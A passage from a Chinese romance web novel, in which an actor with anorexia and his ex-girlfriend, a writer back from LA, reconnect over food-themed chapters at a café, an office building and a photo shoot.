他气愤地拿起笔,想在纸上写下对这咖啡师的控诉,可是笔尖在纸上自动飞舞,一只可爱的小猫跃然纸上。
小猫带着花环站在桥上,望着初升的太阳,向前勇敢起跳。
在花样滑冰的所有跳跃里,阿克塞尔跳跃是属于王者的跳跃。因为它的起跳方式是向前的,就像勇士一样,无论遇到什么样的荆棘,都只会一路向前。即便是死,也是在前进中死亡。
“手这么巧,把椅子修好了再走。破坏公物是要被罚款的。打工很辛苦的。”
姜曲颜的声音甜甜的,黏黏的,万嘉岩从没有听过她这么温柔的声音。她的声音就像海妖的号角,他如同邪灵附身一般去角落处拿起了修理箱。
“小心点儿。锤到手了,我会心疼的。”
万嘉岩突然红了脸,谁要她心疼。可是,他不由自主地望向了姜曲颜。她一脸担心地看着他,似乎他受伤了,她真的会心疼。
“我很厉害的。不就是修椅子吗?”万嘉岩小声嘟囔道。
摄影棚里响起了锤子敲打钉子的声音。长发男子给自己打了一杯咖啡,牛奶在咖啡上变成了一张老者的笑颜。泪水安静地划过眼角,他默默地将咖啡喝完。
在纸上写道:其实我很爱你,只是我一直没有告诉你。
“Cut。”
隋音兴奋地从椅子上跳了起来。这位咖啡师真的是宝藏演员。从来没有在镜头前活过十秒钟的小少爷居然能把接近五分钟的长镜头一镜到底。
“其实我很喜欢你,只是我没有告诉你。”
姜曲颜的声音从手机里冒出来,万嘉岩一时走神,锤子当真落在了手上。
“你故意的。”
万嘉岩拽着长发男子的领口,导演都喊“cut”了,他不用再继续同他演。
“喜欢就要说出来,万一我也喜欢你呢?”
姜曲颜的脸一直红到了耳根处,她从来不敢说出口的话,居然
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以这样的方式说出来了。
“她才不喜欢我。不然,她为什么要抛下我?”万嘉岩激动地落下两行热泪。
长发男子眼里满是悲伤,确实,如果她喜欢他,她当初为何要抛下他?
“我喜欢你。”姜曲颜大声喊道。
隋音瞪大了眼睛,在拍摄现场还能吃到这样的瓜。
“可是我不想再过这样的生活了。我想要变得更加喜欢我自己,我想要演戏,想要配音,想要更多人听到我的声音。我很喜欢你,可是我不想我的世界里只有你。我想要去见更广阔的的世界,想要和你分享更加美好的风景。万嘉岩,这个世界很大,我们可以活得不那么悲伤。”
周夏宁突然酸了鼻头,这个女孩儿比她勇敢,如果当年她也这样同他讲明,也许他们的感情,会有一个不一样的结局。
这个世界很大,他是她想要回到家就见到的人。可是,她的世界里不可能只有他。
她爱他,只是她没有爱到能够放弃自己来托举他。
“姜曲颜,可是我只有你了。”万嘉岩浑身颤抖地哭道。
“你怎么会只有我呢?这些年陪伴你最久的不是我,是你的画。你能不能不要再逃避了。你就是喜欢画画,就是继承了阿姨的画画天赋。你就是希望她能够多看看你,而不是看你的画。无论你嘴上说着多么讨厌画画,你做得最多的还是画画。”
姜曲颜不可控制地哭了起来。他们两个是两个极端,他不想要他的天赋,她讨厌努力到极限也触不到天才的下限。他的家人更关心他的画,她的父母更喜欢有光环的姐姐。
他们就像镜子里的双生子,有不同的经历,却有相似的悲伤。
“万嘉岩,画画是你逃避不了的事情。就像我无法拒绝演戏一样。我就是喜欢,就是想做,就是想一直待在那个世界里。我没有抛弃你,我只是在新的地方等你来找我。”
万嘉岩抹去眼角的泪珠,哽咽道:“我饿了,陪我去买蛋糕。”
他向她伸来手,她环顾四周,犹豫着没有搭理他。他拽住她的胳膊,囔道:“你把我弄哭了,你请客。”
“你比我零花钱多,为什么我请客。”
“大明星,你挣得比我多。”
两人的声音在摄影棚门口消失的时候,周夏宁不由得松了一口气儿,这两的心结总算解开了。
疗愈工作室最先接受的是姜家的委托,只是姜曲颜确定要回国打PK赛之后,这位大少爷突然就闹起来了。
到底是年纪小,不懂爱一个人是相互成就。两个人一同成长,爱情才能长久。
说到爱情,这里还有一个被情困在笼子里的人。周夏宁无奈地叹了一声,走到长发男子身前,笑问道:“大明星,你很闲吗?来这里打杂,不怕袁栎手撕了你?”
长发男子装作什么都没听见,自顾自地收拾桌子。隋音狐疑地看着周夏宁,这袁栎不是武玉箫的执行经纪人吗?
A级艺人怎么有时间来这里打杂?他们的工作都排到大半年以后了。
“本想约你去咖啡厅一起吃点儿椰奶果冻。装听不见,那就算了。”
周夏宁拎起果冻,头也不回地向前走。突然,她的身后跟了一道长影。她放慢脚步,他快速走到她的身前,抓住她的手,恳求道:“我错了。一起吃果冻,好不好?”
5. 红糖姜茶
佑和咖啡店花园路总店。
周夏宁一个人坐在临窗的位置上,看着武玉箫顶着一头假发在店里穿行。在换班之前,他都要维持自己的聋哑人人设。
这是亿星培训部新开发的演技实战训练课程,他是这个课程的第一批体验者之一。
若非他眼里的情太浓,她压根认不出来乔装之后的他。他的演技,远比他在屏幕上展示的要精湛得多。
他只局限在武打领域实在可惜。
想当年,他也是炙手可热的推理悬疑校园偶像剧的男主。悬疑剧是他的舒适区。只是,分手之后,他再也不拍推理悬疑剧了。
一杯红糖姜茶突然出现在桌上。
“我如果记得没错,这两天你应该很需要这个。”
武玉箫在她对面的空位上坐下,交班之后他取下了肩垫和眉贴,换上了自己的私服。浅灰色的全棉衬衫套在他的身上,秀出他优美的身体线条。这三年,他刻意增肌了,人比原来壮了一圈,可依旧是一根瘦麻杆。
“你是不是又没有好好吃饭?体重上110了吗?”
周夏宁眉头轻皱,武玉箫185的大高个,看起来还没她重。
武玉箫心虚地笑了笑,他已经很努力地去吃饭了,体重上不去,他也没办法。得厌食症的时间太长了,他已经习惯只靠吊营养液来维持身体的必要营养。
“你这是在关心我吗?”
武玉箫眼中的期待像钢丝绳一样扼住周夏宁的脖子,让她难以呼吸。她不想看到他失望的神情,犹豫许久,她笑道:“即便分手了,我也希望你能过得很好。希望你能健康,希望你拍戏的时候少受点儿伤。”
这是实话。在LA的三年,她每天都在祈祷,祈祷他不要生病。
“不聊这个话题,我们吃果冻吧。”
武玉箫慌乱地去翻找袋子里的果冻,他眼中的害怕,刺痛了她的心。她不敢再继续刺激他,怕他下一秒当着她的面落泪。
他像做错事的小孩儿一般低着脑袋,埋头吃果冻。他不敢看她,怕她将他赶走。
周夏宁受不了这死一般的沉默,问道:“《霜落枫桥》给你递了本子,为什么拒绝了?”
这个本子有亿星的投资,按说他有优先选择权。
“我不想拍。”
武玉箫将脑袋埋得更深了。她离开后,他就再也看不了推理悬疑的本子了。家里所有推理书,他全部收起来了。看到那些剧本,他就会想起她,就会想到他们交往时的种种,就会想要不顾一切地跑去LA质问她,当初单方面宣布分手的原因。
“那挺可惜,我很喜欢原著,听说给你递过本子,我还有些小期待来着。想着我的徐长枫终于不用被演技门外汉给毁了。”
周夏宁喝了一口红糖姜茶,它明明是甜的,为什么到嘴里之后那么苦?
“这三年,你看过我的戏?”
武玉箫突然抬起脑袋,眼里亮闪闪的,脸上写满期待。
“没有,我都看徽瑞的剧。”
周夏宁是徽瑞的骨灰级粉丝,她看她偶像的剧,正常。
武玉箫虽如此想着,还是不免有些失落。他那么努力的工作,就是为了能让她在电视上,在网络上,在杂志上都见到他,不要太快忘记他。
“在LA的三年,你过得很开心?”武玉箫幽怨地问道。
周夏宁眼神微暗,一天工作二十个小时,抗抑药换了六七种,长期靠安眠药入睡,但她还活着,勉强能算过得很开心。
“我过得很好。”周夏宁坦然笑道。
武玉箫低着脑袋,泪珠从眼角落下。他不想哭的,只是他哭的时候,她会心软。
“能告诉我,我做错了什么吗?”武玉箫哽咽道。
周夏宁顿时不知所措,他委屈的模样,让她也酸了鼻头。这件事儿该从什么地方同他说起?
“你什么都没有做错。就只是不合适。”周夏宁无奈地笑道。
她也许做得最错的事情,就是没有听周姚的话,在分手之前和他大吵几次。她不想让争吵消磨两人之间的感情,他们之间的两年半是甜蜜的,她只想以甜蜜结尾。她所承受的压力,她没有向他透露分毫,这不是他的错。
她背不起那个压力了,便选择了离开。在他看来,她的离开是一蹴而就的。实际上,不是的。
“你没有给我任何修正的机会。所以,我做错了什么,让你直接判了我死刑?”
武玉箫抓住她的手,全身不停地颤抖。这个问题他想了三年,可是一直没有答案。
从温哥华度假回来,她就陷入间歇失联状态。当时她在赶项目,他在瑞士出外景,两边有时差,回复不及时,可以理解。她立项成功后,他趁着拍摄间隙回国想与她小小庆祝一下,可回到家,却发现家里她所有的用品都不见了。
她的手机一直关机。他去周姚家蹲守了三天,才知道她父亲病了。他去了她老家,找到了她家的茶舍。可是他守在那儿的几日,茶舍一直没有营业。被经纪人逮回剧组那天,他给她留了字条,请她联系他。他等了两个多月,在他快杀青的时候,他等来了她的分手信。
“都过去了。再纠结这个问题,没意义了。”
周夏宁仰头长叹。当年他提前看了那封分手信,拍戏的时候分了神,从威亚上掉了下来,差点儿没有抢救回来。她收到消息后去探过病,可是她没有进病房。那时她选择了放手,就没有理由再贪恋他的温柔。
“可是,我想死个明白。”
武玉箫死死拽住她的手,怎么都不让她挣脱。离开他之后,她的事业上了不止一层楼,除了他做错了事儿,他想不出她离开他的第二个理由。
周夏宁深吸了一口气儿,平静地说道:“我父亲病了,我需要带他去LA治病,我不想异地恋就提分手了。”
这是结果,但不是原因。
“如果只是因为这个,我无法接受。我们当初约定一个月见面少于三次,才发黄牌的。我们交往的时候,我从来没有被发黄牌。为什么你不相信我?我这么不值得信任吗?”
武玉箫不敢相信,这就是他苦苦纠结了三年的答案。他当时确实很忙,工作很多。但他是想给她更好的生活才那么努力的工作,如果她需要,他可以慢下来的。
“在温哥华的时候,我说过,五年之后,我们就结婚,为什么你不相信我?”武玉箫已经哭成了泪人。
周夏宁不知该如何安慰他,那个时候他才二十三岁,事业正在上升期,他说的五年后结婚,她敢信吗?
更何况,他们之间的问题,从
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来不在于结婚。
结婚不是终点,她和他交往也不是为了结婚。他们真的爱过,这就够了。
“已经过去了。给你造成这么大的伤害,我很抱歉。我觉得那个时候分手是对的。”
周夏宁用尽全力甩开他的手。离开他之后,她每天工作二十个小时,既是为了拿到更好的医疗资源给她父亲养病,也是为了让他知道,分手之后她过得更好,如果他不努力工作,就只能被她越甩越远。
他们两个在分手之后,事业都稳步发展,谁都没有掉队。他们用结果证明,当时的决定是对的。
“武玉箫,恋爱脑会倒八辈子霉的。放下吧。”
周夏宁站起身,不敢再看他。他这破碎的模样,像极了街边被抛弃的流浪猫。她很想过去拥抱他,可是她不能心软。
两条平行线,就该一直没有交集。
“所以,你后悔当年恋爱脑和我谈恋爱了?”
武玉箫眼中的卑微,让周夏宁的心痛得厉害。当初交往的时候,他也是以这样卑微的眼神看着她。只要她勾勾手指,对他好一点儿,他就会毫不犹豫地扑向她。
“我从不后悔我的任何决定。和你交往是,和你分手也是。”
周夏宁将纸巾塞到他的手中,他很不幸,爱上了一个不够恋爱脑的姐姐。如果她比他小三岁,也许当年她真的会因为恋爱脑,和他赌那虚无缥缈的五年。赌他功成名就之后,会如约娶她。可惜,她比他大三岁。
比起男人,她更相信自己。
“时间差不多了,我该去工作了。记得好好吃饭,人太瘦了,上镜不好看。如果你真的气不过,就努力过得比我更好。”
周夏宁拍了怕他的肩膀,大步流星地离开。从店里出来的那一刻,累积的情绪突然爆发,这三年,若不是靠着必须比他更闪耀这个信念,她熬不过来。
在回老家相亲结婚,和分手专心干事业之间,她选择了后者,这是她和他父亲彼此能够退让的最后底线。
当初他太忙了,她暂停了工作,跟着他满世界跑,只是,他按照经纪人规划的路线,顺风顺水地挤进了准一线,而她却陷入了创作瓶颈。
不巧,那个时候,她到了该结婚的年纪。
更不巧,他因为合约,不到二十八岁合约结束,结不了婚。
她父亲给了她半年的时间,让她想清楚,是要直面她的发展瓶颈,还是回老家相亲结婚。但是在她重新正视她的瓶颈之前,她父亲病倒了。
她需要回老家,需要放弃她在陵城的一切。家里催她相亲结婚,她不知道该如何处理这团生活的乱麻,就首先斩断了她和他的关系。
她扛过了催婚的压力,扛过了拒稿的压力,扛过了父亲病危的压力……
现在她可以笑着回顾往事,可那个时候,她并不知道她是否扛得过去。恋人可以锦上添花,不能指望雪中送炭。武玉箫爱她,可是压力大到他能承受的极限时,他只会恨她。
现在这样,挺好。他们谁也没有耽误谁。
他们之间的恋爱依旧是甜蜜的。结尾得很仓促,却很值得怀念。
只是,她会偶尔希望,他永远不要开启下一段恋情。永远不要给记得另外一个女人的生理期,永远不要在她生理期前后给她送红糖姜茶。
6. 红豆馅饼
丰亿大厦0906,公共练习室。
一道颀长的身影在屋里穿行,凌厉的风从舞动的双棒处刮来,在墙镜上留下悲伤的倒影。细密的汗珠落在实木地板上,发出无奈的叹息声。空气中无法消散的哀伤紧紧地裹着拼命挥舞着双棒的人儿,在他筋疲力竭时再次扼住他的咽喉,将他拖入悲伤的牢笼里,无处可逃。
“咚。”
棒子从发麻的手里落在地上,武玉箫大口喘着气儿,躺倒在练习室中央。他身上的T恤已被汗水漫湿,全身上下已无一丝力气。饶是如此,停下的那一刻,她的笑颜旧在他眼前浮动。
不知道分手原因的时候,想她时,他可以毫不犹豫的怨她,怪她,恨她。可以逼着自己为了报复她而努力工作。
可现在,他觉得过去的三年执念,像一个笑话。
她只是因为要带她父亲出国治病,不想异地恋,就单方面同他分手,
这是多么荒唐的理由。
更可笑的是,为了这个荒唐的理由,他这三年过得生不如死。
“真是个狠心的女人。”
泪水模糊了他的视线。她走得如此决绝,只有他困在过去里。他想报复她也没有机会。
他有的,她都有,甚至她有很多他没有的东西,比如完整的家庭,和谐的家族和冰冷的心。
他和她的恋情,不过是她的一时兴起。她上头了,便放下一切陪他玩这名为爱情的游戏。等她理智回来了,她又挥挥手,不带一丝留念地走了。
而他除了接受她的审判,别无他法。
这段感情里,她是绝对的实权者。她想来就来,想走就走。没有管好他的心,对她动情,是他的错。
这三年里,他唯一做对的事,怕是努力工作爬到了现在的位置。
因为他的事业也很好,在被人提及他们的往事时,他才显得不那么悲惨。
“你果然在这里。”
轻快的声音打破了屋里的死寂。一瓶冰矿泉水出现在武玉箫眼前。来人穿着一条浅黄色的连衣长裙,身上挂着15楼的荷叶工牌。
"卿梨,对不起,我忘记时间了。你等了很久?"
武玉箫坐起身来,推开女孩递来的矿泉水,去拿了自己的水杯。女孩失望地叹了一声,他一如既往地不给她一点儿关心他的机会。
“这是账号卡,体验报告我会在一周内上传。时间应该不早了,你早点儿回去。女孩一个人走夜路不安全。"
落在细处的关心最让人心动。卿梨不自觉地红了脸,从他手中接过体验卡的时候,她紧张得几乎无法呼吸。
武玉箫径直从女孩身边走过,装作没有察觉她的异样。喜欢他的人很多,而他想要的只有那个狠心的女人,
“那……那个,我在茶水间看到了贴着你名字的包裹,你要同我一同上去取吗?”
卿梨望着他孤寂的背影,心不受控制地“砰砰”乱跳。
这两天,神龙见尾不见尾的陆老板也在公司开会,若是被他抓到他违规去15楼,指不定要怎么罚他。
“武玉箫,你这个恋爱脑,你是怎么向我保证的。”
袁栎的声音在无人的走廊独自回响,浓烈的怒气在空气中聚集。
袁栎在气头上,两人见面免不了大吵一架。武玉箫点点头,指着练习室的后门,示意他们从那儿出去。
电梯里,武玉箫沉默得可怕。他私下话很少,与工作时的健谈模样完全不同,给人一种“生人勿近”的压迫感。
已过下班时间,15楼门外写着“武玉萧与外卖人员禁止入内”的灯牌已熄灭。当年为了拿到周夏宁新的联系方式,他不管不顾地闯进了叶老板的办公室,后来他被自己的老板禁上15楼了。
办公室里还有人,武玉箫不方便进去。他在电梯口来回晃荡,余光时不时从办公区扫过。她也许也在里面。她以前总会在公司留到七八点,将无人认领的甜点打包回学校。
“颜颜就拜托你们照顾了。补充材料等我回了LA再发过来。”
电梯门打开的瞬间,周夏宁的声音飘到他的耳朵里。她独自出了电梯,他错愕地看着她,她又要回LA了。
“你来拿红豆馅饼的?”
周夏宁看着他几乎全湿的T恤,不满地皱眉。楼里冷气这么重,他这样乱跑,不怕感冒。
“你要回LA了?”武玉箫带着哭腔问道。
她最怕他哭,他哭她就会心软。
周夏宁受不了他这可怜模样,主动抱了他,“欠你的道别已经补给你了。我该回去了。”
“可是我们当初不是这样约定的。”
武玉箫的手环住了她的腰,她的腰枝还是那样柔软,她的身上还是充满了沁人的橘香,光是靠近她,就能感受到阳光的味道。
周夏宁全身僵直,他的手很暖,那抹温暖将她的理智一点儿一点烧成灰烬。他湿热的呼吸打在她的耳垂上,她的心不可抑制地加速跳动。
他们约定过,最后要KissGoodbye。
周夏宁深吸了一口气儿,最后的Kiss,是给他的道别,也是给她的回忆。
她侧过脸,让轻柔的吻落在他的脸颊上。她一如既往的酒脱,一如既往的拿得起放得下。
凭什么她可以这么轻松的转身,只留他一个人缅怀逝去的爱情。
他紧扣她的纤腰,轻轻转头,让她的唇从他的唇畔擦过。她惊慌地瞪大双眼,他趁机撬开她的唇舌,在她的唇瓣上留下他的怒气。
周夏宁的手抵在他的胸口,她知道她应该推开他,只是她舍不得了。
最后一次,就让她放纵自己吧!
在大脑的氧气快要耗光的时候,他放开了她。
预期的巴掌等了许久也没有落到他的身上,他小心翼翼地抱住她,问道:“过段时间再回LA好不好?让我再见见你,慢慢放下你。”
周夏宁摸着他的脑袋,任心隐隐作痛。错过了就是错过了。留念不是爱。
“我……”
“我记得我收了你来15楼的门禁卡,你是怎么上来的?”
戏谑的声音从身后响起,周夏宁的视线落在了身后两个大老板身上。说话的是他的老板,不过叶老板正在用八卦的目光盯着她,似乎在揣测他俩是否已经复合。
“久等了,你的红豆馅饼。”
玻璃门打开的瞬间,卿梨傻眼了。两个大老板怎么来15楼了
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?叶老板的办公室在16楼。陆扉辰的目光从包裹上扫过,唐记点心店的红豆馅饼,潜台词:红豆相思君知否。
“景枫,最近红茶一直抱怨说十五楼的甜点费用太高了,要在十五楼放‘禁止轻荷给武玉箫渡让点心’的牌子。明天这灯牌就按照他的要求改了吧。"
叶景枫轻笑着点头,轻荷给武玉箫送甜点这事儿是陆扉辰默许的。他这是给武玉箫一个缠着周夏宁的借口,逼着她心软留在陵城给亿星打工。
黑心老板生意做大了心更黑了。
“还愣着做什么,该做什么做什么去。”
在叶景枫的注视下,卿梨遗憾地走开了。本来想告白的,怎么两老板这个时候来了?
叶景枫看着卿即梨一脸失落地样子,与陆扉辰打趣道:“一回来就拆对,是被轻荷刺激到了?”
“你该把‘恋爱脑倒八辈子霉’这个标语贴在15楼的所有工位上。”
陆扉辰的视线从周夏宁身上扫过,武玉箫将她拉到身后,径直对上了他那充满压迫感的目光。
“是我缠着她。”武玉箫坦然道。
他眼中的情很浓,拆对不如给他创造机会。
“恋爱禁令第六章第十一条,你还记得吗?"
陆扉辰从武玉箫的身边经过时,他默默握紧周夏宁的手,平静地说道:“A约艺人不得与夜荷股东恋爱,否则视作包养关系。”
“记性很好,这15楼以后不会再有人给你带甜点了,厌食症你自己想办法克服。”
陆扉辰看着俩人紧握的双手,不由得露出狡黠的笑容,两个恋爱脑注定要为亿星打一辈子工了。
陆扉辰离去后,周夏宁惊讶地看向武王箫,他这么瘦是因为厌食症?
“什么时候患上厌食症的?”
武玉箫不想谈论这个问题。如果她知道他过得这么惨,是不是会更加瞧不起他?
“你去LA不到三个月的时候。”
戴着荷叶状项链的男子从办公室里出来。他本还奇怪怎么从21楼到15楼需要这么久,原来是前任见面,死灰要复燃。
“他工作强度很大,长期节食保持身材,就患上了厌食症。”
轻荷给他留了面子,没有说实话。
“那和你给他带甜食有什么必然联系?”
周夏宁百思不得其解,甜食困难户又没交新女友,怎么就成甜食上瘾了。
“余芷托我带的。没说是给谁的。”轻荷装无辜道。
当年,武玉箫因为厌食症吃什么吐什么,唯独在想到她的时候,才能勉强吃点儿曲奇和蛋糕。他经纪人也是被逼得没办法了,才来找他帮忙。陆扉辰也是睁一只眼闭一只眼。
“刚才我收到邮件,禁止我再滥用职权渡让甜点,不然陆扉辰不批我的假。”轻荷遗憾地说道。
陆扉辰就是收购做得不顺利来公司找茬的,见不得他谈甜甜的恋爱。
轻荷都这么说了,这事儿就没有转圜余地了。武玉箫一脸委屈地看着周夏宁,“我没甜点来源了,你得赔我。”
他这比街边流浪猫还可怜的模样,实在让人不忍心拒绝他的请求。她在这儿还要待两周,这段时间,就帮他探探店吧。
7. 枣泥馒头
春宜路,中心公园。
强光穿过茂密的树叶在水泥地上留下斑驳的残影,浓烈的花香随风飘散。在临湖的长椅上,周夏宁安静地坐着,身旁放着着冒着热气儿的食盒。
这公园离她开会的地方,不过十分钟的步行路程,在回公司之前,正好顺路来给武玉箫送午餐。他的行程很满,想约他到店里试甜点,他几乎空不出时间给她,等他收工了,甜品店早打烊了。
时间过得很快,一晃一周过去了。她手上的工作已临近收尾,不出意外她会提前回LA。邱远衡推荐的甜品店她都觉得不错,三年不见,她也摸不清他的口味,店里的招牌她全买了,希望在这十几种甜点里有他中意的点心。
武玉箫的厌食症一半是工作压力带来的,一半是心理原因带来的。姜澜说他的病症大概率与她相同,都是创伤后身体出现的报偿性防御行为。她因为愧疚,一吃甜食就会吐;他因为执念,把甜食当成了她的替代品。
这都是心病,解铃还需系铃人,姜澜建议她留在陵城,同他纠缠段时间。她的理智在三年前做出了最符合当时两人利益的决定,可她被压抑的感情已经将她的身体折磨得千疮百孔。
当年压在她胸口的巨石被她顽强地敲碎,她是时候正视自己的感情了。那时的不告而别,一半是情势所逼,一半是她悲观的心理预期。麻绳只捡细处捻。两人的压力都很大,她害怕他承受不了她带给他的压力,使得两人反目成仇。
她接受不了这样的结局,所以藏起了所有压力,在自己快要喘不上气儿的时候,头也不回地离开。在她的回忆里,他是美好的,纯粹的,热烈的,每当她被生活的压力压到快要崩溃的时候,被她留在回忆里的幻影就会激励她再坚持一小会儿。
她的判断很准,那个时候,相比于长久的感情,她更需要一个没有瑕疵的情感寄托,带着这个情感幻想去直面她的生活重压。
她要的是一个无论何时都能无条件告诉她,“你已经做得很好,休息一会儿,再试一次,下次一定会成功”的NPC。她很清楚活人做不到这个地步。
在那些通宵加班赶项目的日子里,武玉箫成了她的精神信仰。无论发生了什么,只要看一眼他的海报,她就能镇定下来。
他是她爱过的人,更是她的幻想。他承载了她所有的感情寄托,让她有勇气剑走偏锋,从无人走过的荆棘丛里开辟出一条幽僻小径,以更华丽的姿态回归夜荷。
只是,万里长征已经结束了。那些幻想,她若不亲自打破,她的身体会加倍报复她。姜澜的诊断结论是:顺从内心,顺其自然。
拒绝BE也是一种心理病。相逢即是上上签,人生中很多人注定只能陪着走一段路程。“一生一世一双人”那是强求。
只是缘未尽,即便她想逃,命运也会不断将他推进她的生活里,直到她能遵循本心正视这段关系。
一段关系的结局不是在一起,而是对相遇的感恩以及对道别的释然。
“你真的来了。”
欣喜的声音打断了周夏宁的思绪,她缓慢抬眸,视线从他散开的第四颗纽扣上一路向上,最终停留在他精致的锁骨上。古铜色的肌肤在阳光下散发着年轻的性感,荷尔蒙的激情在空气中翻涌。
周夏宁不争气儿地咽了咽口水,他这衣衫半开的模样,让人很想将他扑倒,狠狠地调戏一番。
他目不转睛地盯着她的眼睛,视试图在她的眼里捕提到一丝纯粹的情欲。如果这具还不算老的身躯无法激起藏在她身体里的原始情欲,他就彻底出局了。
这三年,他都是按照她以前提过的标准去练的身材,她的口味会变,但是根植于骨血里的审美标准不会变。
“今天的拍摄主题是‘诱惑’?”
周夏宁终是抬头对上了他的视线。他喜欢练武,身上的肌肉是通过武打套路训练出来的,和健身房里的人造肌内质感和形状都不一样。
这是自然的高级美感。
她的眼里充满了对高级艺术品的欣赏,武玉箫挫败地轻叹一声。他把扣子扣到了领口处,说道:“主题是‘青春’。”
米白色的衬衫遮住了诱人的性感,清澈的眼神散去了荷尔蒙的激情。他乖顺地站在树阴下,阳光从他的侧脸穿过,留下明媚的气息。
不与她纠缠时,他倒是很像青春男大,清爽、热烈、明媚、干净。
“拍摄结束了?”
周夏宁给他递了个纸杯,他想也没想就接了过去。杯里装的是莲子红枣粥,他吃不了米饭,她特意把粥做成米糊状。他以前闹着不吃饭的时候,这招百试百灵。
熟悉的甜味在嘴里弥散,武玉箫不可抑制地唇角上扬。这是她亲手做的。她愿意给他打米糊,是不是代表她的心里还有一点点他的位置?
“还有一组没拍。很快就能拍完,等我好吗?我送你回公司。”
又是那副比流浪猫还可怜的委屈模样,他这是故意的吧!知道她会心软。
“你把这个吃完,我就等你。”
武玉箫的手里多了一个小馒头,这是一口就能吃下的量,只是,他吃不了。她在故意为难他。
“好了,不逗你了。去拍摄吧,我……”
武玉箫闭上双眼,最坏的结果不过是再吐一次,这比从她那里听到拒他的话语要简单一万倍。
枣泥的甜味唤醒了那些尘封的记忆。她喜欢红枣煮的甜汤,每次回家空气里都飘散着红枣的甜味。在那甜甜的空间里,她的笑容是比红枣更甜的天然糖原。
“很好吃。”
武玉箫看着她,强行将馒头吞了进去。馒头的味道他没有细品,只是她恬静的笑颜甜到了他的心里。
她素颜的时候,他都很难将视线从她的身上挪开。更何况她现在化着精致的职业妆,全身上下都缀着能突显她优雅淡然的轻奢饰品。
她只是静静地坐在他的身前,什么都没做,他便已经浑身燥热不堪。她对他下了情盅,他怕是一辈子都逃不出她的掌心。
“等我十分钟,我拍得很快的。”
服装师拿着衣服走到他身边,他不舍地将视线从她身上收回。她许久没有回话,他以为她又准备反悔。
他眼神黯淡时,像一个破碎的陶瓷娃娃,让人很想拥抱他。
服装师手上拿着五套衣服,十分钟可拍不完。
“我同你一起过去吧。我去同闻姐打个招呼。”
“绮缘”的老板是姜曲颜的姑姑,正巧她在现场,她可以同她谈谈《解忧咖啡馆》的服装赞助事宜。
武玉箫的眼里又有了光,他主动接过她手中的袋子,兴奋地走向人群。她的包在他手上,她溜不走的。
他这小心思没有逃过周夏宁的法眼。她看着他像小偷一样把她的包拿去房车里,但她懒得戳穿他。
他现在就是一个极度缺乏安全感的小孩儿,需要有个让他心安的寄托物。<
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“就是他吧,给那两个大别扭踢了临门一脚。”
姜绮闻凑到周夏宁的身边,浓烈的栀子香扑鼻而来。
“《霜落枫桥》的本子,你要不再劝劝他?昨天他那表演演到了朱导心坎里。现在正闹着换角呢。”
姜绮闻似变魔术一般变出了一束栀子花,并将花强行塞到周夏宁的手中。小道消息:收了姜绮闻的花就得满足她的小请求,否则霉运会找上门。
“他的档期是满的,就算他同意了,他也没时间拍。”
这话一半真一半假。《霜落枫桥》评级高于《桃源绮梦》,他若是答应了,《桃源绮梦》的制作组除非同意延期拍摄,否则视为默认换角。两部戏拍摄周期持平,不耽误他原定行程。
他不想拍,她何必强人所难。
武玉箫的指尖突然从她的手背处拂过,她惊讶地看着他,将花藏于背后,囔道:“这是我收到的礼物。”
“可是刚才服装师说拍摄用的花束在你手上。”
武玉箫身上的唐装绣满了栀子花。很明显这一组的拍摄主题是:与我同心栀子,报君百结丁香。(《清平乐》南宋赵彦端)
姜绮闻把拍摄用花塞她手上,摆明了想让她向他开这个口。
走霉运这传闻,宁可信其有。不过是一句话的事,他都拒绝过那么多次了,这次肯定也不会答应。
“《霜落枫桥》的本子,你真的不接吗?”
周夏宁语气激衍,一看就是被人用刀架在脖子上不得不向他问这句。不知是哪位大老板有这么大的面子能够让她不情不愿地向他开这个口,拒绝就是他不懂事儿了。
“你陪我拍,我就接。”武玉箫试探道。
先提个小要求,等待她讨价还价。
周夏宁没有猜到他的小九九,陪他拍四个多月的戏,她的老父亲不得提刀从LA赶回来把她砍了。当初回国的时候,她承诺过不会再和他纠缠。
“闻姐,这可不是我不帮忙。工作室的委托申请都排明年去了,我跟不了组。”
若不是万嘉岩只买周夏宁的账,工作室那边也不会放她回国。自家生意是生意,别人家的生意也是生意。不能耽误别人家挣钱。
“那可惜了。”
武玉箫没料到姜绮闻放弃得这么快。让她欠人情的机会不常有,过了这个村就没这个店了。
“我的意思是,你陪我拍这一组照,我就接。”
武玉箫是懂自己搭梯顺杆下的,姜绮闻顺着他的话说道:“这组女模特拍的全是背影,正巧姚绮还有工作,你就当帮个忙。"
服装师听到了,赶紧上前将准备好的服装递过去。她和姚绮那个大小姐身材相近,衣服正好合适。那大小姐闹脾气不拍了,摄影师下午就出国了,现在有人救场,当真是姜绮闻天天祭拜的花神显灵了。
周夏宁不喜欢被赶鸭子上架,武玉箫没有勇气看她的表情。她沉默了大约十秒钟,这时间比十个世纪还漫长。
武玉箫耐不住这死一般的沉默,立时举白旗投降。她想看他演徐长枫,他拍便是。袁栎本就中意这个本子,临时换本,不过是冲他发顿脾气,说他瞎折腾她,结果她是满意的。
“我……”
他刚出声,周夏宁指着他,囔道:“拍可以,你不准对我摆脸色。”
幸福来得太突然,武玉箫不禁有些饿了。他好想快点拍完,和她一起把她带来的枣泥馒头都吃完。
8. 芍药花饼
青玉花簪簪住三千青丝,银色铜锁锁住一世情缘。米白色绣线在浅黄织锦上留下朵朵芍药。花开“将离”,情有所钟,此情不渝,终有重聚时。
周夏宁从房车里出来的时候,武玉箫的心骤然停了三秒钟。她穿旗袍的样子,比天宫里的嫦娥都要清丽淡雅,美得不像是这凡尘之人。
“不好看?”
周夏宁被现场这如其来的寂静弄得后背发凉。旗袍很挑身材和气质,她自知自己相貌平平,才疏学浅,撑不起古典旗抱的韵味,平日里绝对不碰旗袍。
“要不你们还是找专业模特吧。”
周夏宁暗自打起了退堂鼓。事先她并不知道,这是《明汐》周刊七夕特辑的拍摄现场。《明汐》是国内五大时尚周刊之一,她这门外汉可比不上一线模特。
“很美。”
武玉箫红着脸把花束塞到了她的手中,她拿着花的根,他提着花的茎,花在它们中间,为他们互不相通的思念架起一座传语桥。
镜头里,周夏宁局促地四处张望,她僵硬的四肢无声诉说着她的紧张。武玉箫站在距离她半步的地方,纤指落在花瓣上。她以为他要接过花束,将手凑了过去,两人的指尖在空中相触,酥麻的电流顺着指尖在周身扩散。
两人均是一愣,红着脸,看向他处,只有冰凉的指尖以花为媒,交缠在一处,这暧昧的气息才是“青春的悸动”。
摄影师满意地点头,闪光灯不停地在眼前闪着。指尖的温暖太让人留念,她一时间忘了这摄影师正怼着她的脸拍。
“路哥,她不是艺人,怼脸拍会给她造成困扰。”
